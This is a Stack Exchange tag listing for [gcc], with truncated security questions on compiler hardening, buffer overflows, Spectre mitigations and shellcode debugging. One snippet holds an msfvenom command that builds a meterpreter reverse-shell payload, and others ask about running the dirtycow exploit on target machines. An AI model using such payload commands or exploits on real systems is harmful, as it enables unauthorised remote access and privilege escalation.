Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [gcc]

GCC is the GNU Compiler Collection. It's the de facto standard C compiler on Linux and supports many other languages and platforms as well.

1
vote
2answers
216 views

dirtycow exploit without gcc [closed]

I found many vulnerabilities but almost all of them require gcc which is not available on most of my target machines. I was wondering if it's possible to run dirtycow without gcc installed or what is ...
2
votes
1answer
148 views

the state of ASLR, PIE, SSP on Debian in 2018?

As far as I remember, most Debian Wheezy packages were not compiled with those useful security flags (ASLR, PIE, SSP, and more). Did the situation improve with Debian Squeeze or the upcoming Debian ...
2
votes
2answers
545 views

Unable to understand $EIP changes with Buffer Overflow

I am learning Buffer Overflow, so the question might seem silly but here it is. I started with this very simple buggy program int main(int argc, char *argv[]) { char buf[128]; printf("You entered ...
4
votes
2answers
345 views

How does gcc compiler guard stack for stack overflow?

When we compile c program with gcc, we have to inlude "-z execstack" option to enable stack overflow attack. The question I want to ask is how does gcc implement this . Without this option, how does ...
3
votes
1answer
844 views

Compiling with GCC retpoline flags

As of version 8 (later backported to 7.3), GCC has added retpoline support [0]. While I understand that it is intended[citation needed] for use in kernel patching for Spectre (ie: [1][2]), that does ...
6
votes
1answer
353 views

How does GCC's -mmitigate-rop work?

GCC 6 has a flag, -mmitigate-rop, which compiles binaries in a way that reduces the number gadgets exploitable by ROP. The GCC documentation explaining this feature is minimal: -mmitigate-rop Try ...
2
votes
0answers
35 views

Function epilogue behavior since GCC 4.9.0

I'll use the following C code to explain my question: #include <stdio.h> int main(void) { printf("foo\n"); return 0; } Before GCC 4.9.0, disassemblying it produces: .LC0: .string ...
4
votes
1answer
528 views

Software mitigation for Spectre v2

I run Debian as my OS and Guix as my package manager. I also run (approximately) latest kernel built using Guix. According to spectre-meltdown-checker, my kernel has mitigation for v1, v2 and v3. ...
4
votes
1answer
544 views

Custom EXE Template Metasploit 64-bit ASM PE Syntax

I asked this previously then deleted since I think I asked the question without gearing it towards msfvenom and custom EXE templates. There is a 64-bit Windows PE written in assembly that ships with ...
1
vote
1answer
775 views

Segmentation fault in shellcode

I generated a shell code with msfvenom # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c When I compile my shell.c with gcc (version 6.3.0-16) with this ...
1
vote
1answer
398 views

Shellcode not executing properly

I managed to get shellcode to be pointed to by eip by building my executable without safety measures. However, it does not appear to execute. Here is the C source of my vulnerable program: #include ...
1
vote
1answer
97 views

Issues testing buffer overflow

I am experimenting on my computer, so I wrote a vulnerable program in C to test buffer overflows on: #include <stdio.h> #include <string.h> #include <stdlib.h> int check_password(...
70
votes
6answers
17k views

Is it dangerous to compile arbitrary C? [duplicate]

I have a small server and I would like to check compile times on C programs provided by users. The programs would never be run only compiled. What risks are there to allowing users to compile ...
0
votes
0answers
214 views

Why does -fstack-protector optimize if a function does not allocate an array of 8 or more bytes?

According to the gcc instrumentation options doc, the -fstack-protector only protects against "functions that call alloca, and functions with buffers larger than 8 bytes." How are buffers larger than ...
1
vote
4answers
3k views

How do I harden compilers (as suggested by Lynis)?

This article suggests to restrict compilers to root, but does not say how, and I couldn't find anything useful by searching the Web. ii g++ 4:5.3.1-1ubuntu1 ...
5
votes
2answers
878 views

Is it possible to crack g++ rand()?

So, I have this: I know that some code was used to generate a random sequence, and it looked roughly like this: #include <iostream> #include <string> int main() { const std::string ...
5
votes
1answer
4k views

Gentoo Hardened vs other distros

I was wondering if the hardened profile from Gentoo was really more secure than any other distro (like Debian, RHEL, Arch ...). For those who don't know, Gentoo hardened allows a system to be built ...
3
votes
0answers
951 views

How to exploit a stack-overflow without setting -mpreferred-stack-boundary=2

I have been playing with some wargames and I ported some of then on my Linux machine as well. I noticed that when not using -mpreferred-stack-boundary=2, gcc might compile "main" with an interesting ...
12
votes
2answers
2k views

Compiling a buffer overflow example in modern Linux?

I'm trying to compile a simple buffer overflow example on a Debian i386 VM. The executable builds ok, but EIP does not get overwritten correctly despite being supplied a sufficiently large input to ...
5
votes
2answers
657 views

Is compiling untrusted code safe?

I'm curious about compiling with gcc/g++/clang with the assumption that headers and implementation files are user-provided, but not the build configuration. (i.e., no cd lib && make) What if ...
-2
votes
2answers
827 views

Cannot get simple shellcode runner to work [closed]

I'm just trying to execute shellcode directly from the command line. I send a simple 0x90 NOP and get a segmentation fault? root@server:~# gcc shellcode.c -o shellrun -fno-stack-protector -z ...
1
vote
1answer
3k views

Exploit Compilation Problem [closed]

I am trying to compile the following exploit: http://www.exploit-db.com/exploits/10613/ But get the following error: local.c:12:22: fatal error: asm/page.h: No such file or directory compilation ...
5
votes
1answer
2k views

Bypass va_randomize_space and stack-protector

Is a program compiled with the GCC -fstack-protector option and running in a Linux environment with the va_randomize_space kernel variable set to 1, totally protected against buffer overflow attacks? ...
59
votes
2answers
20k views

What is the most hardened set of options for GCC compiling C/C++?

What set of GCC options provide the best protection against memory corruption vulnerabilities such as Buffer Overflows, and Dangling Pointers? Does GCC provide any type of ROP chain mitigation? Are ...